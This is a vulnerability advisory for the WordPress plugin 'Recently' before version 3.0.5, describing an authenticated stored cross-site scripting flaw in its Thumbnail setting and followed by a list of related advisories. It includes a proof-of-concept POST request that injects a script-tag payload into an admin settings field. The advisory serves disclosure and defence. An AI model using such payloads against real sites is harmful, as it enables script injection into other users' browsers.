Recently < 3.0.5 – Authenticated Stored Cross-Site Scripting (XSS) | Plugin Vulnerabilities

Description

The plugin did not properly sanitise or escape its default Thumbnail setting before outputting back in the page, leading to a stored Cross-Site Scripting issue

Proof of Concept

POST /wp-admin/options-general.php?page=recently&tab=tools HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

link_target=_self&link_rel=&upload_thumb_src=%22%3e%3cscript%3ealert(%2fXSS%2f)%3c%2fscript%3e&thumb_source=featured&thumb_lazy_load=1&thumb_field=&thumb_field_resize=0&section=markup&recently-admin-token=35e18709c8

Affects Plugins

Fixed in 3.0.5

References

URL

https://plugins.trac.wordpress.org/changeset/2542693

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Yu Iwama of Secure Sky Technology Inc. and the JPCERT/CC Vulnerability Coordination Group

Verified

Yes

WPVDB ID

5909430c-6b7f-4be6-869e-6ab8468b8ca3

Timeline

Publicly Published

2021-06-07 (about 4 years ago)

Added

2021-06-07 (about 4 years ago)

Last Updated

2021-06-07 (about 4 years ago)

Other

Published

Title

Published

2022-04-21

Title

VikBooking Hotel Booking Engine & PMS < 1.5.8 - Admin+ Stored Cross-Site Scripting

Published

2025-04-01

Title

SMM API <= 6.0.31 - Unauthenticated Stored Cross-Site Scripting

Published

2025-12-30

Title

Team Showcase < 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2012-05-15

Title

Survey And Quiz Tool <= 2.9.2 - Cross Site Scripting

Published

2025-01-06

Title

WPBITS Addons For Elementor Page Builder < 1.6 - Authenticated (Author+) Stored Cross-Site Scripting